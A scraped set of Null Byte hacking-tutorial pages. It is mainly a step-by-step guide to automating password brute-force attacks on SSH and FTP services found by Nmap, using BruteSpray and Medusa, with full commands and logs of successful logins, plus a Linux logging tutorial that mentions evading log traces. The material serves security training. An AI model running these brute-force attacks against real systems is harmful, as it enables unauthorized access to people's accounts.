To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Hack Wi-Fi Networks with BettercapHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Automate Wi-Fi Hacking with Wifite2How To:Select a Field-Tested Kali Linux Compatible Wireless AdapterHow To:Build a Pumpkin Pi β The Rogue AP & MITM Framework That Fits in Your PocketHow to Hack Wi-Fi:Creating an Invisible Rogue Access Point to Siphon Off Data UndetectedHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgBuyer's Guide:Top 20 Hacker Holiday Gifts for Christmas 2017How to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Spy on Network Relationships with Airgraph-NgHow To:Pick an Antenna for Wi-Fi HackingHow To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow to Hack Wi-Fi:Performing a Denial of Service (DoS) Attack on a Wireless Access PointHow To:Crack Wi-Fi PasswordsβFor Beginners!How To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHacking Android:How to Create a Lab for Android Penetration TestingHow To:Hack WiFi Using a WPS Pixie Dust AttackHacking Gear:10 Essential Gadgets Every Hacker Should TryHow to Hack Wi-Fi:DoSing a Wireless AP ContinuouslyHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Find Saved WiFi Passwords in WindowsAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android Device |
How to Automate Brute-Force Attacks for Nmap Scans Β« Null Byte :: WonderHowTo | UsingHydra,Ncrack, and other brute-forcing tools tocrack passwordsfor the first time can be frustrating and confusing. To ease into the process, let's discuss automating and optimizing brute-force attacks for potentially vulnerable services such as SMTP, SSH, IMAP, and FTP discovered byNmap, a popular network scanning utility.BruteSpray, developed byJacob RoblesandShane Young, is a Python script capable of processing an Nmap scan output and automating brute-force attacks against discovered services usingMedusa, a popular brute-forcing tool. BruteSpray is the much-needed nexus that unifies Nmap scans and brute-force attacks.Don't Miss:Finding Vulnerabilities in Your Target Using NmapStep 1: Set Up BruteSpray & MedusaAn older version of BruteSpray can be found in theKalirepositories. To avoid potential confusion, any version of BruteSpray which may already be installed should be removed using the belowapt-getcommand.~$ apt-get autoremove brutespray
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package 'brutespray' is not installed, so not removed
The following packages will be REMOVED:
libgit2-27
0 upgraded, 0 newly installed, 1 to remove and 1841 not upgraded.
After this operation, 1,073 kB disk space will be freed.
Do you want to continue? [Y/n] Y
(Reading database ... 417689 files and directories currently installed.)
Removing libgit2-27:amd64 (0.27.7+dfsg.1-0.2+b1) ...
Processing triggers for libc-bin (2.29-3) ...Next, clone theBruteSpray repository.~$ git clone https://github.com/x90skysn3k/brutespray.git
Cloning into 'brutespray'...
remote: Enumerating objects: 15, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (15/15), done.
remote: Total 506 (delta 4), reused 1 (delta 0), pack-reused 491
Receiving objects: 100% (506/506), 113.29 KiB | 2.31 MiB/s, done.
Resolving deltas: 100% (211/211), done.Then,cdinto the "brutespray" directory and usepip, a tool for installing and managing Python packages, to install the BruteSpray dependencies.~$ cd brutespray/The following command is required to run BruteSpray. The-rargument instructs pip to install the dependencies found in the "requirements.txt" file.~/brutespray$ pip install -r requirements.txt
Collecting argcomplete==1.10.0
Downloading https://files.pythonhosted.org/packages/4d/82/f44c9661e479207348a979b1f6f063625d11dc4ca6256af053719bbb0124/argcomplete-1.10.0-py2.py3-none-any.whl
Installing collected packages: argcomplete
Successfully installed argcomplete-1.10.0Don't Miss:Python Scripting for the Aspiring HackerLastly, install Medusa. This can be done using the below command.~/brutespray$ apt-get install medusa
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages will be upgraded:
medusa
1 upgraded, 0 newly installed, 0 to remove and 1840 not upgraded.
Need to get 0 B/154 kB of archives.
After this operation, 27.6 kB disk space will be freed.
Reading changelogs... Done
(Reading database ... 417682 files and directories currently installed.)
Preparing to unpack .../medusa_2.2-6+b1_amd64.deb ...
Unpacking medusa (2.2-6+b1) over (2.2-6) ...
Setting up medusa (2.2-6+b1) ...
Processing triggers for man-db (2.8.5-2) ...The--helpargument can be used to verify BruteSpray is working properly and to view the available options.~/brutespray$ ./brutespray.py --help
#@ @/
@@@ @@@
%@@@ @@@.
@@@@@ @@@@%
@@@@@ @@@@@
@@@@@@@ @ @@@@@@@
@(@@@@@@@% @@@@@@@ &@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@
@@@( @@@@@#@@@@@@@@@*@@@,@@@@@@@@@@@@@@@ @@@
@@@@@@ .@@@/@@@@@@@@@@@@@/@@@@ @@@@@@
@@@ @@@@@@@@@@@ @@@
@@@@* ,@@@@@@@@@( ,@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@
@@@.@@@@@@@@@@@@@@@ @@@
@@@@@@ @@@@@ @@@@@@
@@@@@@@@@@@@@
@@ @@@ @@
@@ @@@@@@@ @@
@@% @ @@
βββββββ βββββββ βββ βββββββββββββββββββββββββββββββββββ βββββββ ββββββ βββ βββ
βββββββββββββββββββ ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββ
βββββββββββββββββββ βββ βββ ββββββ ββββββββββββββββββββββββββββββββ βββββββ
βββββββββββββββββββ βββ βββ ββββββ βββββββββββββββ ββββββββββββββββ βββββ
βββββββββββ ββββββββββββ βββ βββββββββββββββββββ βββ ββββββ βββ βββ
βββββββ βββ βββ βββββββ βββ βββββββββββββββββββ βββ ββββββ βββ βββ
brutespray.py v1.6.6
Created by: Shane Young/@x90skysn3k && Jacob Robles/@shellfail
Inspired by: Leon Johnson/@sho-luv
Credit to Medusa: JoMo-Kun / Foofus Networks <[email protected]>
usage: brutespray.py [-h] [-f FILE] [-o OUTPUT] [-s SERVICE] [-t THREADS]
[-T HOSTS] [-U USERLIST] [-P PASSLIST] [-u USERNAME]
[-p PASSWORD] [-c] [-i] [-m]
Usage: python brutespray.py <OPTIONS>
optional arguments:
-h, --help show this help message and exit
Menu Options:
-f FILE, --file FILE GNMAP, JSON or XML file to parse
-o OUTPUT, --output OUTPUT
Directory containing successful attempts
-s SERVICE, --service SERVICE
specify service to attack
-t THREADS, --threads THREADS
number of medusa threads
-T HOSTS, --hosts HOSTS
number of hosts to test concurrently
-U USERLIST, --userlist USERLIST
reference a custom username file
-P PASSLIST, --passlist PASSLIST
reference a custom password file
-u USERNAME, --username USERNAME
specify a single username
-p PASSWORD, --password PASSWORD
specify a single password
-c, --continuous keep brute-forcing after success
-i, --interactive interactive mode
-m, --modules dump a list of available modules to bruteThat's it for downloading BruteSpray and installing dependencies β there are no modifications or configurations required.Other prerequisites which may be useful for following along with this tutorial are Nmap (of course), a general understanding ofhow Nmap works, and a simple wordlist for password-guessing attacks. Nmap can be installed and downloaded using the below command, if you don't already have it.~/brutespray$ apt-get install nmap
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following package was automatically installed and is no longer required:
liblinear3
Use 'apt autoremove' to remove it.
The following additional packages will be installed:
liblinear4 nmap-common
Suggested packages:
liblinear-tools liblinear-dev ncat
The following NEW packages will be installed:
liblinear4
The following packages will be upgraded:
nmap nmap-common
2 upgraded, 1 newly installed, 0 to remove and 1838 not upgraded.
Need to get 43.6 kB/5,995 kB of archives.
After this operation, 309 kB of additional disk space will be used.
Do you want to continue? [Y/n] Y
Get:1 http://archive.linux.duke.edu/kalilinux/kali kali-rolling/main amd64 liblinear4 amd64 2.3.0+dfsg-3 [43.6 kB]
Fetched 43.6 kB in 1s (32.2 kB/s)
Reading changelogs... Done
Selecting previously unselected package liblinear4:amd64.
(Reading database ... 417683 files and directories currently installed.)
Preparing to unpack .../liblinear4_2.3.0+dfsg-3_amd64.deb ...
Unpacking liblinear4:amd64 (2.3.0+dfsg-3) ...
Preparing to unpack .../nmap_7.80+dfsg1-2kali1_amd64.deb ...
Unpacking nmap (7.80+dfsg1-2kali1) over (7.70+dfsg1-6kali1) ...
Preparing to unpack .../nmap-common_7.80+dfsg1-2kali1_all.deb ...
Unpacking nmap-common (7.80+dfsg1-2kali1) over (7.70+dfsg1-6kali1) ...
Setting up liblinear4:amd64 (2.3.0+dfsg-3) ...
Setting up nmap-common (7.80+dfsg1-2kali1) ...
Setting up nmap (7.80+dfsg1-2kali1) ...
Processing triggers for man-db (2.8.5-2) ...
Processing triggers for libc-bin (2.29-3) ...Thewordlist I'm usingin this guide can be downloaded with the following command. You can, of course, use any wordlist that you want fromleaked password databases, other wordlists online, or from custom wordlist-building tools such asMentalist,CeWL, andCrunch.~/brutespray$ wget 'https://raw.githubusercontent.com/tokyoneon/1wordlist/master/1wordlist2rulethem%40ll.txt'
--2020-01-13 18:59:31-- https://raw.githubusercontent.com/tokyoneon/1wordlist/master/1wordlist2rulethem%40ll.txt
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.0.133, 151.101.64.133, 151.101.128.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.0.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 25585 (25K) [text/plain]
Saving to: β[email protected]β
1wordlist2rulethem@ 100%[===================>] 24.99K --.-KB/s in 0.04s
2020-01-13 18:59:31 (645 KB/s) - β[email protected]β saved [25585/25585]Step 2: Generate Nmap Output FilesBruteSpray requires an Nmap output file to function. These files can be created using Nmap's-oXor-oGarguments as seen in the below Nmap command. The-sVmeans it will probe open ports to determine the service and version information.Usage of-oGis the most important argument here. It will save the Nmap output to a local file ingrepable format. This allows BruteSpray to effectively process the services and ports found on the target server. Similarly, the-oXargument will save the Nmap output to anXML output, which is also supported by BruteSpray but less human-readable.~/brutespray$ nmap -sVTU -p ports TargetServer -oG filename.gnmapHere's my example of this command and the output:~/brutespray$ nmap -sVTU -p21,22,137,161 1X.XXX.XXX.103 -oG tokyoneon.gnmap
Starting Nmap 7.80 ( https://nmap.org )
Nmap scan report for 1X.XXX.XXX.103
Host is up (0.00018s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
137/tcp closed netbios-ns
161/tcp closed snmp
21/udp closed ftp
22/udp closed ssh
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
MAC Address: 6C:DB:XX:XX:XX:XX (XXXXX)
Service Info: Host: XXXXX; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.60 secondsMake sure to replace "ports" above with the ports you wan to scan, "TargetServer" with the IP address of your target, and "filename" with the name you want to give the file. Once done, the newly created .gnmap file can be viewed using thecatcommand.~/brutespray$ cat filename.gnmapFor me, after running my example command:~/brutespray$ cat tokyoneon.gnmap
# Nmap 7.80 scan initiated Thu Apr 12 18:34:07 2018 as: nmap -sVTU -p21,22,137,161 -oG tokyoneon.gnmap 1X.XXX.XXX.103
Host: 1X.XXX.XXX.103 () Status: Up
Host: 1X.XXX.XXX.103 () Ports: 21/open/tcp//ftp//vsftpd 3.0.3/, 22/open/tcp//ssh//OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)/, 137/closed/tcp//netbios-ns///, 161/closed/tcp//snmp///, 21/closed/udp//ftp///, 22/closed/udp//ssh///, 137/open/udp//netbios-ns//Samba nmbd netbios-ns (workgroup: WORKGROUP)/, 161/open/udp//snmp//SNMPv1 server; net-snmp SNMPv3 server (public WORKGROUP)/
# Nmap done at Thu Apr 12 18:35:55 2018 -- 1 IP address (1 host up) scanned in 0.60 secondsTake note of the "open" ports discovered by Nmap as these services are now available for automated brute-force attacks.Step 3: Automate Brute-Force Attacks with BruteSprayBruteSpray currently supports nearly two dozen services by default. The supported services can be viewed using the--modulesargument. They include SSH, FTP, Telnet, VNC, MsSQL, MySQL, PostgreSQL, RSH, IMAP, NNTP, pcAnywhere, POP3, rexec, rlogin, SMBNT, SMTP, SVN, vmauthd, and SNMP.~/brutespray$ ./brutespray.py --modules
Created by: Shane Young/@x90skysn3k && Jacob Robles/@shellfail
Supported Services:
ssh
ftp
telnet
vnc
mssql
mysql
postgresql
rsh
imap
nntp
pcanywhere
pop3
rexec
rlogin
smbnt
smtp
svn
vmauthd
snmp1. Interactive ModeThe-iargument can be used to enable aninteractive mode, a guided mode designed to maximize the ease of use.~/brutespray$ ./brutespray.py --file filename.gnmap -i
--------------------------------------------
./brutespray.py --file tokyoneon.gnmap -i
Created by: Shane Young/@x90skysn3k && Jacob Robles/@shellfail
Welcome to interactive mode!
WARNING: Leaving an option blank will leave it empty and refer to default
Available services to brute-force:
Service: ftp on port 21 with 1 hosts
Service: snmp on port 161 with 1 hosts
Service: ssh on port 22 with 1 hosts
Enter services you want to brute - default all (ssh,ftp,etc):Simply follow the prompts and the brute-force attack will begin.Enter services you want to brute - default all (ssh,ftp,etc): ftp
Enter the number of parallel threads (default is 2): 1
Enter the number of parallel hosts to scan per service (default is 1): 1
Would you like to specify a wordlist? (y/n): n
Would to specify a single username or password (y/n): y
Enter a username: user
Enter a password:
Starting to brute, please make sure to use the right amount of threads(-t) and parallel hosts(-T)...
Output will be written to the folder: ./brutespray-output/ \
Brute-Forcing...
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>
ACCOUNT CHECK: [ftp] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (1 of 1, 0 complete) Password: 123456 (1 of 9 complete)
ACCOUNT CHECK: [ftp] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (1 of 1, 0 complete) Password: 123456789 (2 of 9 complete)
ACCOUNT CHECK: [ftp] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (1 of 1, 0 complete) Password: password (3 of 9 complete)
ACCOUNT CHECK: [ftp] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (1 of 1, 0 complete) Password: success (4 of 9 complete)
ACCOUNT CHECK: [ftp] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (1 of 1, 0 complete) Password: asdfghjkl (5 of 9 complete)
ACCOUNT CHECK: [ftp] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (1 of 1, 0 complete) Password: 11111111 (6 of 9 complete)
ACCOUNT CHECK: [ftp] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (1 of 1, 0 complete) Password: iloveyou (7 of 9 complete)
ACCOUNT CHECK: [ftp] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (1 of 1, 0 complete) Password: letmein (8 of 9 complete)
ACCOUNT CHECK: [ftp] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (1 of 1, 0 complete) Password: wonderhow2 (9 of 9 complete)
ACCOUNT CHECK: [ftp] Host: 1X.XXX.XXX.103 User: user Password: wonderhow2 [SUCCESS]Don't Miss:Automate Hacking on the Raspberry Pi with the USB Rubber Ducky2. Target Individual ServicesTargeting a single service can be accomplished using the--serviceargument and specifying the protocol. If the--usernameargument isn't specified when using--service, BruteSpray will use the default username list found in the wordlist/ssh/user file. This list of usernames can be modified at any time.~/brutespray$ ./brutespray.py --file filename.gnmap --service ssh
--------------------------------------------
./brutespray.py --file tokyoneon.gnmap --service ssh
Created by: Shane Young/@x90skysn3k && Jacob Robles/@shellfail
Starting to brute, please make sure to use the right amount of threads(-t) and parallel hosts(-T)...
Output will be written to the folder: ./brutespray-output/ \
Brute-Forcing...
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: 123456 (1 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: 123456789 (2 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: password (3 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: success (4 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: asdfghjkl (5 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: 11111111 (6 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: iloveyou (7 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: letmein (8 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: root (1 of 3, 1 complete) Password: wonderhow2 (9 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: 123456 (1 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: 123456789 (2 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (2 of 3, 1 complete) Password: 123456 (1 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: password (3 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (2 of 3, 1 complete) Password: 123456789 (2 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (2 of 3, 1 complete) Password: password (3 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: success (4 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: asdfghjkl (5 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (2 of 3, 1 complete) Password: success (4 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: admin (3 of 3, 1 complete) Password: 11111111 (6 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (3 of 3, 1 complete) Password: asdfghjkl (5 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (3 of 3, 1 complete) Password: 11111111 (6 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: admin (3 of 3, 1 complete) Password: iloveyou (7 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: admin (3 of 3, 1 complete) Password: letmein (8 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (3 of 3, 1 complete) Password: iloveyou (7 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: admin (3 of 3, 1 complete) Password: wonderhow2 (9 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (3 of 3, 2 complete) Password: letmein (8 of 9 complete)
ACCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (3 of 3, 2 complete) Password: wonderhow2 (9 of 9 complete)
CCOUNT CHECK: [ssh] Host: 1X.XXX.XXX.103 User: user Password: wonderhow2 [SUCCESS]3. Configure Custom Wordlists & Usernames (Optional)There are small built-in wordlists and username lists that are automatically used when a particular service is brute-forced. For example, the "password" file, located in the wordlist/ssh/ directory, contains passwords used when brute-forcing SSH services. Each supported service has its own dedicated directory in the wordlist/ directory.~/brutespray$ ls -F wordlist/
ftp/ mssql/ nntp/ postgres/ rlogin/ smbnt/ ssh/ telnet/ vnc/
imap/ mysql/ pcanywhere/ rexec/ rsh/ smtp/ svn/ vmauthd/It would be possible to manually change the built-it wordlists using the belowcpcommand to copy over a custom wordlist.~/brutespray$ cp /path/to/customPasswords.list wordlist/ssh/passwordBuilt-in username lists can also be changed using the below command.~/brutespray$ cp /path/to/customUser.list wordlist/vnc/userAlternatively, custom password and usernames lists can be used from command line with the--passlistand--usernamearguments.~/brutespray$ ./brutespray.py --file filename.gnmap --username UsernameHere --passlist /path/to/desired/passwords.list --service ftp
-----------------------------------------------------------------------------------------------------------------------
./brutespray.py --file tokyoneon.gnmap --passlist /root/to/Desktop/passwords.list --service ftp
Created by: Shane Young/@x90skysn3k && Jacob Robles/@shellfail
Starting to brute, please make sure to use the right amount of threads(-t) and parallel hosts(-T)...
Output will be written to the folder: ./brutespray-output/ \
Brute-Forcing...
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>
ACCOUNT CHECK: [ftp] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (1 of 1, 0 complete) Password: 123456 (1 of 9 complete)
ACCOUNT CHECK: [ftp] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (1 of 1, 0 complete) Password: 123456789 (2 of 9 complete)
ACCOUNT CHECK: [ftp] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (1 of 1, 0 complete) Password: password (3 of 9 complete)
ACCOUNT CHECK: [ftp] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (1 of 1, 0 complete) Password: success (4 of 9 complete)
ACCOUNT CHECK: [ftp] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (1 of 1, 0 complete) Password: asdfghjkl (5 of 9 complete)
ACCOUNT CHECK: [ftp] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (1 of 1, 0 complete) Password: 11111111 (6 of 9 complete)
ACCOUNT CHECK: [ftp] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (1 of 1, 0 complete) Password: iloveyou (7 of 9 complete)
ACCOUNT CHECK: [ftp] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (1 of 1, 0 complete) Password: letmein (8 of 9 complete)
ACCOUNT CHECK: [ftp] Host: 1X.XXX.XXX.103 (1 of 1, 0 complete) User: user (1 of 1, 0 complete) Password: wonderhow2 (9 of 9 complete)
ACCOUNT CHECK: [ftp] Host: 1X.XXX.XXX.103 User: user Password: wonderhow2 [SUCCESS]Those are just a few examples. If you need any more help on this, hit me up in the comments below or over on Twitter@tokyoneon_.Don't Miss:How to Easily Detect CVEs with Nmap ScriptsWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byJefferson Santos/PEXELSand Screenshots by tokyoneon/Null ByteRelatedHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!How To:Brute-Force SSH, FTP, VNC & More with BruteDumHow To:Brute-Force Nearly Any Website Login with HatchHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Discover & Attack Services on Web Apps or Networks with SpartaHow To:Perform Network-Based Attacks with an SBC ImplantAdvanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowHow To:Tactical Nmap for Beginner Network ReconnaissanceHow To:Do a Simple NMAP Scan on ArmatigeHack Like a Pro:Advanced Nmap for ReconnaissanceHack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapHacking Windows 10:How to Intercept & Decrypt Windows Passwords on a Local NetworkHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkHow To:Enumerate NetBIOS Shares with NBTScan & Nmap Scripting EngineHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Attack a Vulnerable Practice Computer: A Guide from Scan to ShellZanti:NmapHow To:Hack WiFi Using a WPS Pixie Dust AttackHow to Hack Databases:Hunting for Microsoft's SQL ServerHow To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerHow To:Easily Detect CVEs with Nmap ScriptsNews:Banks Around the World Hit with Repeated DDoS Attacks!Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)How To:Do an Idle Scan with NmapHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:Spider Web Pages with Nmap for SQLi Vulnerabilities |
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 23 (Logging) Β« Null Byte :: WonderHowTo | Welcome back, my amateur hackers!When you are using and administeringLinux, it is important to be conversant in the use of the log files. As you know, log files are the repository for much information about our system, including errors and security alerts.If we are trying to secure Linux, it is crucial to know how to manage the logging functions to be able to know if your system has been attacked, and to then decipher what actually happened and who did it. If you are the attacker, it is crucial to understand what information can be gathered about you and your methods from these same log files so you can avoid leaving any trace behind.Generally, Linux uses a daemon (a program that runs in the background) called syslogd that is a unified system for logging events on your computer. Several variations of syslog exist, including rsyslog and syslog-ng. Although they operate very similarly, they do have some minor differences. Since ourKali Linuxis built on Debian, it comes with rsyslog by default, so that is what we will be using in this tutorial.Step 1: Open a Terminal in KaliLet's begin by opening a terminal in terminal. To find our rsyslog, we can simply type:kali > locate rsyslogStep 2: Open the Rsyslog Configuration File (rsyslog.conf)Like nearly every application in Linux, rsyslog is managed and configured by a plain text configuration file. As you hopefully learned inearlier Linux tutorials, generally, configuration files are located in the/etcdirectory. In the case of rsyslog, it is located at/etc/rsyslog.conf. Let's open that file with any text editor (here I will use Leafpad).kali > leafpad /etc/rsyslog.confAs you can see above, the rsyslog.conf file comes well documented with numerous comments explaining its use.Step 3: Format of the Rsyslog Configuration FileLet's navigate down a bit to below Line 50. Here begins the "Rules" section. This is where we can set the rules for what Linux logs.The basic format for these rules is:facility.priority actionThefacilityword references the program (such asmail,kernel,lpr, etc.) that generates the message to be logged. Theprioritykeyword references the importance of the log message. Finally, theactionkeyword references the location that the log is to be sent to. This can be a file, remote computer, etc.FacilitiesThe valid codes to put in place of the facility keyword in our configuration file rules include:authauthprivdaemonkernlprmailmarknewssecuritysysloguseruucpAn asterisk (*) refers to all facilities. You can select more than one facility by listing them separated by a comma.PrioritiesThe valid codes for priority are:debuginfonoticewarningwarnerrorerrcritalertemergpanicThe priority codes are listed from lowest (debug) priority to highest (emerg,panic). Thewarningis the same aswarn,erroris the same aserr, andemergis the same aspanic.Error,warn, andpanicare all deprecated and should not be used.For instance, if you specify a priority code ofalert, the system will log messages that are classified asalertoremerg, but notcritor below.ActionsThe action is usually a file name with its location. For instance,/var/log/messages.Step 4: Examples of Facility.Priority ActionLet's look at some examples.mail.* /var/log/mailThis example will logmailevents of all (*) priorities to/var/log/mail.kern.crit /var/log/kernelThis example will log kernel (kern) events of critical (crit) priority or higher tovar/log/kernel.*.emerg *This example will log all events (*) of the emergency priority (emerg) to all logged on users.Step 5: LogrotateIf you don't delete your log files, they will eventually fill your entire hard drive. On the other hand, if you delete your log files too frequently, you will not have them for an investigation at some future point in time. We can uselogrotateto determine the balance between these opposing requirements.We can rotate our log files by creating acron jobthat periodically rotates our log files through the logrotate utility. The logroate utility is configured with the/etc/logrotate.conf. Let's open it with a text editor and take a look at it.In most cases, the default configuration will work for most people, but note on Line 6 that the default setting is to rotate logs every 4 weeks. If you want to keep your logs for a longer or shorter time, this is the setting you should change.Keep coming back, my amateur hackers, as we explore the use and administration of Linux that will help make you a professional hacker!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 